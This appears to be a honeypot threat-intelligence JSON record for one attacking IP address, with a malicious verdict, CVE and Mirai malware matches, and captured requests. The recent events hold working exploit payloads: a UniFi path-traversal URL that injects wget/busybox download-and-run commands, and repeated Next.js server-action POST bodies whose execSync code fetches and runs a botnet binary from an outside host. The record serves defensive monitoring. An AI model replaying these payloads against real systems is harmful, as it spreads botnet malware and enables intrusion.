{"ip":"94.154.43.245","total_events":38,"verdict":{"verdict":"malicious","label":"Exploit attempts observed","detail":"37 loader / command-injection payload(s)","confidence":"high","network_type":null,"why":["37 request(s) carried a loader or command-injection payload (wget, curl, tftp, busybox, chmod or a known bot name).","This is the same evidence that puts an address in the public exploiter feed, so the feed and this page now agree.","Payload evidence stands on its own: one request that fetches a botnet binary is exploitation, not probing.","Not in any known-scanner range.","Sent 55,907 bytes: sustained payload delivery, not a single opportunistic request."],"engagement":{"level":"payload","label":"Sustained payload","detail":"55,907 bytes sent","bytes_sent":55907,"session_seconds":0,"persistent":false}},"first_seen":"2026-09-07T00:10:20","last_seen":"2026-09-19T10:22:56","events_24h":0,"events_7d":0,"geo":{"country_code":"NL","country_name":"The Netherlands","region":"North Holland","city":"Amsterdam","lat":52.3716,"lon":4.8883,"asn":219502,"org":"Storm Industries LLC"},"source_domain":null,"known_scanners":[],"scanner_tag":null,"cve_matches":[{"cve_id":"CVE-2026-34908","title":"UniFi OS - Authentication Bypass via Path Traversal (..%2f)","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/api/auth/validate-sso/..%2f..%2f..%2fproxy/users/api/v2/ucs/update/latest_package"}],"malware":[{"sha256":"0d341e396719c3729f881b533c3d4e8b089a83e5379160b317c530d6d7a27661","family":"mirai","vt_name":"agustin51","malicious":1,"total":75,"vt_status":"uploaded","delivery":"curl","url_path":"/","dest_port":3001,"hits":8,"last_seen":"2026-09-14 13:33:44"}],"top_ports":[{"port":3001,"proto":"tcp","label":"","count":28},{"port":3000,"proto":"tcp","label":"Web-alt","count":6},{"port":11443,"proto":"tcp","label":"","count":2},{"port":8443,"proto":"tcp","label":"HTTPS-alt","count":1},{"port":8080,"proto":"tcp","label":"HTTP-alt","count":1}],"fingerprints":{"ssh_hassh":[],"tls_ja4":["t13i131000_f57a46bbacb6_ab7e3b40a677"],"tls_client_hello":"","tls_ja3":["725543c78edf669194c11dc7a039b56e"],"http_akin":["b11cuq081_00050817_735c1356_xe7f3","b11cun020_00040001_78f1f19c","b11cun040_00040015_a4cdfabf"]},"fingerprint_peers":{"t13i131000_f57a46bbacb6_ab7e3b40a677":4819,"b11cuq081_00050817_735c1356_xe7f3":4,"b11cun020_00040001_78f1f19c":49,"b11cun040_00040015_a4cdfabf":33},"akin_families":{"b11cun040_00040015_a4cdfabf":{"head":"b11cun040_00040015_a4cdfabf","shapes":2,"ips":33}},"user_agents":["Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36","Mozilla/5.0"],"timeline":[{"date":"2026-09-07","count":11},{"date":"2026-09-08","count":2},{"date":"2026-09-09","count":3},{"date":"2026-09-10","count":1},{"date":"2026-09-12","count":4},{"date":"2026-09-14","count":11},{"date":"2026-09-15","count":5},{"date":"2026-09-19","count":1}],"recent_events":[{"timestamp":"2026-09-19T10:22:56","port":8080,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"connection\":\"close\",\"host\":\"<HONEYPOT>\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/","summary":"","payload_hex":"474554202f20485454502f312e310d0a486f73743a20<HONEYPOT>0d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a","method":"GET","user_agent":"","ja3":"","session":"38ee4430-e467-4f21-a84d-4fc7fc621239","seq":1,"duration_ms":100,"bytes_in":58,"bytes_out":78},{"timestamp":"2026-09-15T23:21:48","port":11443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"application/json\",\"connection\":\"close\",\"host\":\"<HONEYPOT>:11443\",\"user-agent\":\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36\"}","body":"","sni":"","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/api/auth/validate-sso/..%2f..%2f..%2fproxy/users/api/v2/ucs/update/latest_package?pkg_name=%24%28wget+-qO-+http%3A%2F%2F144.31.215.199%3A889%2Fl.sh%7Csh%3Bbusybox+wget+http%3A%2F%2F144.31.215.199%3A889%2Fl.sh+-O-%7Csh%29","summary":"","payload_hex":"474554202f6170692f617574682f76616c69646174652d73736f2f2e2e2532662e2e2532662e2e25326670726f78792f75736572732f6170692f76322f7563732f7570646174652f6c61746573745f7061636b6167653f706b675f6e616d653d253234253238776765742b2d714f2d2b687474702533412532462532463134342e33312e3231352e3139392533413838392532466c2e7368253743736825334262757379626f782b776765742b687474702533412532462532463134342e33312e3231352e3139392533413838392532466c2e73682b2d4f2d253743736825323920485454502f312e310d0a486f73743a20<HONEYPOT>3a31313434330d0a557365722d4167656e743a204d6f7a696c6c612f352e3020284d6163696e746f73683b20496e74656c204d6163204f5320582031305f31355f3729204170706c655765624b69742f3533372e33360d0a4163636570743a206170706c69636174696f6e2f6a736f6e0d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a","method":"GET","user_agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36","ja3":"725543c78edf669194c11dc7a039b56e","session":"68af48f9-7de1-4464-8ace-27949ce76761","seq":1,"duration_ms":100,"bytes_in":389,"bytes_out":78},{"timestamp":"2026-09-15T22:27:49","port":11443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"application/json\",\"connection\":\"close\",\"host\":\"<HONEYPOT>:11443\",\"user-agent\":\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36\"}","body":"","sni":"","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/api/auth/validate-sso/..%2f..%2f..%2fproxy/users/api/v2/ucs/update/latest_package?pkg_name=%24%28wget+-qO-+http%3A%2F%2F144.31.215.199%3A889%2Fl.sh%7Csh%3Bbusybox+wget+http%3A%2F%2F144.31.215.199%3A889%2Fl.sh+-O-%7Csh%29","summary":"","payload_hex":"474554202f6170692f617574682f76616c69646174652d73736f2f2e2e2532662e2e2532662e2e25326670726f78792f75736572732f6170692f76322f7563732f7570646174652f6c61746573745f7061636b6167653f706b675f6e616d653d253234253238776765742b2d714f2d2b687474702533412532462532463134342e33312e3231352e3139392533413838392532466c2e7368253743736825334262757379626f782b776765742b687474702533412532462532463134342e33312e3231352e3139392533413838392532466c2e73682b2d4f2d253743736825323920485454502f312e310d0a486f73743a20<HONEYPOT>3a31313434330d0a557365722d4167656e743a204d6f7a696c6c612f352e3020284d6163696e746f73683b20496e74656c204d6163204f5320582031305f31355f3729204170706c655765624b69742f3533372e33360d0a4163636570743a206170706c69636174696f6e2f6a736f6e0d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a","method":"GET","user_agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36","ja3":"725543c78edf669194c11dc7a039b56e","session":"7a12f064-0c6d-48c4-a89c-a530f3789a18","seq":1,"duration_ms":100,"bytes_in":391,"bytes_out":78},{"timestamp":"2026-09-15T21:00:02","port":8443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"application/json\",\"connection\":\"close\",\"host\":\"<HONEYPOT>:8443\",\"user-agent\":\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36\"}","body":"","sni":"","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/api/auth/validate-sso/..%2f..%2f..%2fproxy/users/api/v2/ucs/update/latest_package?pkg_name=x%3Bbusybox+wget+http%3A%2F%2F144.31.215.199%3A889%2Fl.sh+-O-%7Csh%3B%23","summary":"","payload_hex":"474554202f6170692f617574682f76616c69646174652d73736f2f2e2e2532662e2e2532662e2e25326670726f78792f75736572732f6170692f76322f7563732f7570646174652f6c61746573745f7061636b6167653f706b675f6e616d653d7825334262757379626f782b776765742b687474702533412532462532463134342e33312e3231352e3139392533413838392532466c2e73682b2d4f2d253743736825334225323320485454502f312e310d0a486f73743a20<HONEYPOT>3a383434330d0a557365722d4167656e743a204d6f7a696c6c612f352e3020284d6163696e746f73683b20496e74656c204d6163204f5320582031305f31355f3729204170706c655765624b69742f3533372e33360d0a4163636570743a206170706c69636174696f6e2f6a736f6e0d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a","method":"GET","user_agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36","ja3":"725543c78edf669194c11dc7a039b56e","session":"7db705d0-419b-4558-93df-fac9f7b283b9","seq":1,"duration_ms":100,"bytes_in":331,"bytes_out":78},{"timestamp":"2026-09-15T16:07:30","port":3001,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip\",\"connection\":\"close\",\"content-length\":\"1373\",\"content-type\":\"multipart/form-data; boundary=----WebKitFormBoundaryReactCVE\",\"host\":\"<HONEYPOT>:3001\",\"next-action\":\"x\",\"user-agent\":\"Mozilla/5.0\"}","body":"------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n\"$1\"\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n{\"status\":\"resolved_model\",\"reason\":0,\"_response\":\"$5\",\"value\":\"{\\\"then\\\":\\\"$4:map\\\",\\\"0\\\":{\\\"then\\\":\\\"$B3\\\"},\\\"length\\\":1}\",\"then\":\"$2:then\"}\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"2\"\r\n\r\n\"$@3\"\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"3\"\r\n\r\n\"\"\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"4\"\r\n\r\n[]\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"5\"\r\n\r\n{\"_bundlerConfig\":{},\"_chunks\":\"$2:_response:_chunks\",\"_formData\":{\"get\":\"$4:constructor:constructor\"},\"_prefix\":\"(function(){\\n        try {\\n            var res = process.mainModule.require(\\\"child_process\\\").execSync(\\\"cd /tmp 2\\u003e/dev/null || cd /dev/shm 2\\u003e/dev/null || cd /; rm -f .f; (wget -q --no-check-certificate -O .g http://194.238.57.213:889/agustin51 || curl -k -s -o .g http://194.238.57.213:889/agustin51) \\u0026\\u0026 chmod +x .g \\u0026\\u0026 ./.g\\\").toString();\\n            console.log(\\\"\\\\n[+] RCE RESULT:\\\\n\\\" + res);\\n            throw new Error(\\\"[+] RCE SUCCESS: \\\" + res);\\n        } catch(e) {\\n            console.log(e);\\n            throw e;\\n        }\\n    })()//\"}\r\n------WebKitFormBoundaryReactCVE--\r\n","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/","summary":"","payload_hex":"504f5354202f20485454502f312e310d0a486f73743a20<HONEYPOT>3a333030310d0a557365722d4167656e743a204d6f7a696c6c612f352e300d0a436f6e74656e742d4c656e6774683a20313337330d0a4163636570743a202a2f2a0d0a436f6e6e656374696f6e3a20636c6f73650d0a436f6e74656e742d547970653a206d756c7469706172742f666f726d2d646174613b20626f756e646172793d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a4e6578742d416374696f6e3a20780d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2230220d0a0d0a222431220d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2231220d0a0d0a7b22737461747573223a227265736f6c7665645f6d6f64656c222c22726561736f6e223a302c225f726573706f6e7365223a222435222c2276616c7565223a227b5c227468656e5c223a5c2224343a6d61705c222c5c22305c223a7b5c227468656e5c223a5c222442335c227d2c5c226c656e6774685c223a317d222c227468656e223a2224323a7468656e227d0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2232220d0a0d0a22244033220d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2233220d0a0d0a22220d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2234220d0a0d0a5b5d0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2235220d0a0d0a7b225f62756e646c6572436f6e666967223a7b7d2c225f6368756e6b73223a2224323a5f726573706f6e73653a5f6368756e6b73222c225f666f726d44617461223a7b22676574223a2224343a636f6e7374727563746f723a636f6e7374727563746f72227d2c225f707265666978223a222866756e6374696f6e28297b5c6e2020202020202020747279207b5c6e20202020202020202020202076617220726573203d2070726f636573732e6d61696e4d6f64756c652e72657175697265285c226368696c645f70726f636573735c22292e6578656353796e63285c226364202f746d7020325c75303033652f6465762f6e756c6c207c7c206364202f6465762f73686d20325c75303033652f6465762f6e756c6c207c7c206364202f3b20726d202d66202e663b202877676574202d71202d2d6e6f2d636865636b2d6365727469666963617465202d4f202e6720687474703a2f2f3139342e3233382e35372e3231333a3838392f6167757374696e3531207c7c206375726c202d6b202d73202d6f202e6720687474703a2f2f3139342e3233382e35372e3231333a3838392f6167757374696e353129205c75303032365c75303032362063686d6f64202b78202e67205c75303032365c7530303236202e2f2e675c22292e746f537472696e6728293b5c6e202020202020202020202020636f6e736f6c652e6c6f67285c225c5c6e5b2b5d2052434520524553554c543a5c5c6e5c22202b20726573293b5c6e2020202020202020202020207468726f77206e6577204572726f72285c225b2b5d2052434520535543434553533a205c22202b20726573293b5c6e20202020202020207d206361746368286529207b5c6e202020202020202020202020636f6e736f6c652e6c6f672865293b5c6e2020202020202020202020207468726f7720653b5c6e20202020202020207d5c6e202020207d2928292f2f227d0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356452d2d0d0a","method":"POST","user_agent":"Mozilla/5.0","ja3":"","session":"4483e948-8c46-43a1-82c3-431e0289c81a","seq":1,"duration_ms":100,"bytes_in":1611,"bytes_out":78},{"timestamp":"2026-09-15T07:22:49","port":3001,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip\",\"connection\":\"close\",\"content-length\":\"1373\",\"content-type\":\"multipart/form-data; boundary=----WebKitFormBoundaryReactCVE\",\"host\":\"<HONEYPOT>:3001\",\"next-action\":\"x\",\"user-agent\":\"Mozilla/5.0\"}","body":"------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n\"$1\"\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n{\"status\":\"resolved_model\",\"reason\":0,\"_response\":\"$5\",\"value\":\"{\\\"then\\\":\\\"$4:map\\\",\\\"0\\\":{\\\"then\\\":\\\"$B3\\\"},\\\"length\\\":1}\",\"then\":\"$2:then\"}\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"2\"\r\n\r\n\"$@3\"\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"3\"\r\n\r\n\"\"\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"4\"\r\n\r\n[]\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"5\"\r\n\r\n{\"_bundlerConfig\":{},\"_chunks\":\"$2:_response:_chunks\",\"_formData\":{\"get\":\"$4:constructor:constructor\"},\"_prefix\":\"(function(){\\n        try {\\n            var res = process.mainModule.require(\\\"child_process\\\").execSync(\\\"cd /tmp 2\\u003e/dev/null || cd /dev/shm 2\\u003e/dev/null || cd /; rm -f .f; (wget -q --no-check-certificate -O .g http://194.238.57.213:889/agustin51 || curl -k -s -o .g http://194.238.57.213:889/agustin51) \\u0026\\u0026 chmod +x .g \\u0026\\u0026 ./.g\\\").toString();\\n            console.log(\\\"\\\\n[+] RCE RESULT:\\\\n\\\" + res);\\n            throw new Error(\\\"[+] RCE SUCCESS: \\\" + res);\\n        } catch(e) {\\n            console.log(e);\\n            throw e;\\n        }\\n    })()//\"}\r\n------WebKitFormBoundaryReactCVE--\r\n","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/","summary":"","payload_hex":"504f5354202f20485454502f312e310d0a486f73743a20<HONEYPOT>3a333030310d0a557365722d4167656e743a204d6f7a696c6c612f352e300d0a436f6e74656e742d4c656e6774683a20313337330d0a4163636570743a202a2f2a0d0a436f6e6e656374696f6e3a20636c6f73650d0a436f6e74656e742d547970653a206d756c7469706172742f666f726d2d646174613b20626f756e646172793d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a4e6578742d416374696f6e3a20780d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2230220d0a0d0a222431220d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2231220d0a0d0a7b22737461747573223a227265736f6c7665645f6d6f64656c222c22726561736f6e223a302c225f726573706f6e7365223a222435222c2276616c7565223a227b5c227468656e5c223a5c2224343a6d61705c222c5c22305c223a7b5c227468656e5c223a5c222442335c227d2c5c226c656e6774685c223a317d222c227468656e223a2224323a7468656e227d0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2232220d0a0d0a22244033220d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2233220d0a0d0a22220d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2234220d0a0d0a5b5d0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2235220d0a0d0a7b225f62756e646c6572436f6e666967223a7b7d2c225f6368756e6b73223a2224323a5f726573706f6e73653a5f6368756e6b73222c225f666f726d44617461223a7b22676574223a2224343a636f6e7374727563746f723a636f6e7374727563746f72227d2c225f707265666978223a222866756e6374696f6e28297b5c6e2020202020202020747279207b5c6e20202020202020202020202076617220726573203d2070726f636573732e6d61696e4d6f64756c652e72657175697265285c226368696c645f70726f636573735c22292e6578656353796e63285c226364202f746d7020325c75303033652f6465762f6e756c6c207c7c206364202f6465762f73686d20325c75303033652f6465762f6e756c6c207c7c206364202f3b20726d202d66202e663b202877676574202d71202d2d6e6f2d636865636b2d6365727469666963617465202d4f202e6720687474703a2f2f3139342e3233382e35372e3231333a3838392f6167757374696e3531207c7c206375726c202d6b202d73202d6f202e6720687474703a2f2f3139342e3233382e35372e3231333a3838392f6167757374696e353129205c75303032365c75303032362063686d6f64202b78202e67205c75303032365c7530303236202e2f2e675c22292e746f537472696e6728293b5c6e202020202020202020202020636f6e736f6c652e6c6f67285c225c5c6e5b2b5d2052434520524553554c543a5c5c6e5c22202b20726573293b5c6e2020202020202020202020207468726f77206e6577204572726f72285c225b2b5d2052434520535543434553533a205c22202b20726573293b5c6e20202020202020207d206361746368286529207b5c6e202020202020202020202020636f6e736f6c652e6c6f672865293b5c6e2020202020202020202020207468726f7720653b5c6e20202020202020207d5c6e202020207d2928292f2f227d0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356452d2d0d0a","method":"POST","user_agent":"Mozilla/5.0","ja3":"","session":"e3a848d8-b9e9-4c36-b3de-f898e0feaa2d","seq":1,"duration_ms":100,"bytes_in":1611,"bytes_out":78},{"timestamp":"2026-09-14T23:21:59","port":3001,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip\",\"connection\":\"close\",\"content-length\":\"1373\",\"content-type\":\"multipart/form-data; boundary=----WebKitFormBoundaryReactCVE\",\"host\":\"<HONEYPOT>:3001\",\"next-action\":\"x\",\"user-agent\":\"Mozilla/5.0\"}","body":"------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n\"$1\"\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n{\"status\":\"resolved_model\",\"reason\":0,\"_response\":\"$5\",\"value\":\"{\\\"then\\\":\\\"$4:map\\\",\\\"0\\\":{\\\"then\\\":\\\"$B3\\\"},\\\"length\\\":1}\",\"then\":\"$2:then\"}\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"2\"\r\n\r\n\"$@3\"\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"3\"\r\n\r\n\"\"\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"4\"\r\n\r\n[]\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"5\"\r\n\r\n{\"_bundlerConfig\":{},\"_chunks\":\"$2:_response:_chunks\",\"_formData\":{\"get\":\"$4:constructor:constructor\"},\"_prefix\":\"(function(){\\n        try {\\n            var res = process.mainModule.require(\\\"child_process\\\").execSync(\\\"cd /tmp 2\\u003e/dev/null || cd /dev/shm 2\\u003e/dev/null || cd /; rm -f .f; (wget -q --no-check-certificate -O .g http://194.238.57.213:889/agustin51 || curl -k -s -o .g http://194.238.57.213:889/agustin51) \\u0026\\u0026 chmod +x .g \\u0026\\u0026 ./.g\\\").toString();\\n            console.log(\\\"\\\\n[+] RCE RESULT:\\\\n\\\" + res);\\n            throw new Error(\\\"[+] RCE SUCCESS: \\\" + res);\\n        } catch(e) {\\n            console.log(e);\\n            throw e;\\n        }\\n    })()//\"}\r\n------WebKitFormBoundaryReactCVE--\r\n","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/","summary":"","payload_hex":"504f5354202f20485454502f312e310d0a486f73743a20<HONEYPOT>3a333030310d0a557365722d4167656e743a204d6f7a696c6c612f352e300d0a436f6e74656e742d4c656e6774683a20313337330d0a4163636570743a202a2f2a0d0a436f6e6e656374696f6e3a20636c6f73650d0a436f6e74656e742d547970653a206d756c7469706172742f666f726d2d646174613b20626f756e646172793d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a4e6578742d416374696f6e3a20780d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2230220d0a0d0a222431220d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2231220d0a0d0a7b22737461747573223a227265736f6c7665645f6d6f64656c222c22726561736f6e223a302c225f726573706f6e7365223a222435222c2276616c7565223a227b5c227468656e5c223a5c2224343a6d61705c222c5c22305c223a7b5c227468656e5c223a5c222442335c227d2c5c226c656e6774685c223a317d222c227468656e223a2224323a7468656e227d0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2232220d0a0d0a22244033220d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2233220d0a0d0a22220d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2234220d0a0d0a5b5d0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2235220d0a0d0a7b225f62756e646c6572436f6e666967223a7b7d2c225f6368756e6b73223a2224323a5f726573706f6e73653a5f6368756e6b73222c225f666f726d44617461223a7b22676574223a2224343a636f6e7374727563746f723a636f6e7374727563746f72227d2c225f707265666978223a222866756e6374696f6e28297b5c6e2020202020202020747279207b5c6e20202020202020202020202076617220726573203d2070726f636573732e6d61696e4d6f64756c652e72657175697265285c226368696c645f70726f636573735c22292e6578656353796e63285c226364202f746d7020325c75303033652f6465762f6e756c6c207c7c206364202f6465762f73686d20325c75303033652f6465762f6e756c6c207c7c206364202f3b20726d202d66202e663b202877676574202d71202d2d6e6f2d636865636b2d6365727469666963617465202d4f202e6720687474703a2f2f3139342e3233382e35372e3231333a3838392f6167757374696e3531207c7c206375726c202d6b202d73202d6f202e6720687474703a2f2f3139342e3233382e35372e3231333a3838392f6167757374696e353129205c75303032365c75303032362063686d6f64202b78202e67205c75303032365c7530303236202e2f2e675c22292e746f537472696e6728293b5c6e202020202020202020202020636f6e736f6c652e6c6f67285c225c5c6e5b2b5d2052434520524553554c543a5c5c6e5c22202b20726573293b5c6e2020202020202020202020207468726f77206e6577204572726f72285c225b2b5d2052434520535543434553533a205c22202b20726573293b5c6e20202020202020207d206361746368286529207b5c6e202020202020202020202020636f6e736f6c652e6c6f672865293b5c6e2020202020202020202020207468726f7720653b5c6e20202020202020207d5c6e202020207d2928292f2f227d0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356452d2d0d0a","method":"POST","user_agent":"Mozilla/5.0","ja3":"","session":"a6c0a3b7-dbc2-40b0-9a45-a5b068ceac49","seq":1,"duration_ms":100,"bytes_in":1613,"bytes_out":78},{"timestamp":"2026-09-14T22:32:55","port":3001,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip\",\"connection\":\"close\",\"content-length\":\"1373\",\"content-type\":\"multipart/form-data; boundary=----WebKitFormBoundaryReactCVE\",\"host\":\"<HONEYPOT>:3001\",\"next-action\":\"x\",\"user-agent\":\"Mozilla/5.0\"}","body":"------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n\"$1\"\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n{\"status\":\"resolved_model\",\"reason\":0,\"_response\":\"$5\",\"value\":\"{\\\"then\\\":\\\"$4:map\\\",\\\"0\\\":{\\\"then\\\":\\\"$B3\\\"},\\\"length\\\":1}\",\"then\":\"$2:then\"}\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"2\"\r\n\r\n\"$@3\"\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"3\"\r\n\r\n\"\"\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"4\"\r\n\r\n[]\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"5\"\r\n\r\n{\"_bundlerConfig\":{},\"_chunks\":\"$2:_response:_chunks\",\"_formData\":{\"get\":\"$4:constructor:constructor\"},\"_prefix\":\"(function(){\\n        try {\\n            var res = process.mainModule.require(\\\"child_process\\\").execSync(\\\"cd /tmp 2\\u003e/dev/null || cd /dev/shm 2\\u003e/dev/null || cd /; rm -f .f; (wget -q --no-check-certificate -O .g http://194.238.57.213:889/agustin51 || curl -k -s -o .g http://194.238.57.213:889/agustin51) \\u0026\\u0026 chmod +x .g \\u0026\\u0026 ./.g\\\").toString();\\n            console.log(\\\"\\\\n[+] RCE RESULT:\\\\n\\\" + res);\\n            throw new Error(\\\"[+] RCE SUCCESS: \\\" + res);\\n        } catch(e) {\\n            console.log(e);\\n            throw e;\\n        }\\n    })()//\"}\r\n------WebKitFormBoundaryReactCVE--\r\n","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/","summary":"","payload_hex":"504f5354202f20485454502f312e310d0a486f73743a20<HONEYPOT>3a333030310d0a557365722d4167656e743a204d6f7a696c6c612f352e300d0a436f6e74656e742d4c656e6774683a20313337330d0a4163636570743a202a2f2a0d0a436f6e6e656374696f6e3a20636c6f73650d0a436f6e74656e742d547970653a206d756c7469706172742f666f726d2d646174613b20626f756e646172793d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a4e6578742d416374696f6e3a20780d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2230220d0a0d0a222431220d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2231220d0a0d0a7b22737461747573223a227265736f6c7665645f6d6f64656c222c22726561736f6e223a302c225f726573706f6e7365223a222435222c2276616c7565223a227b5c227468656e5c223a5c2224343a6d61705c222c5c22305c223a7b5c227468656e5c223a5c222442335c227d2c5c226c656e6774685c223a317d222c227468656e223a2224323a7468656e227d0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2232220d0a0d0a22244033220d0a2d2d2d2d2d2d5765624b6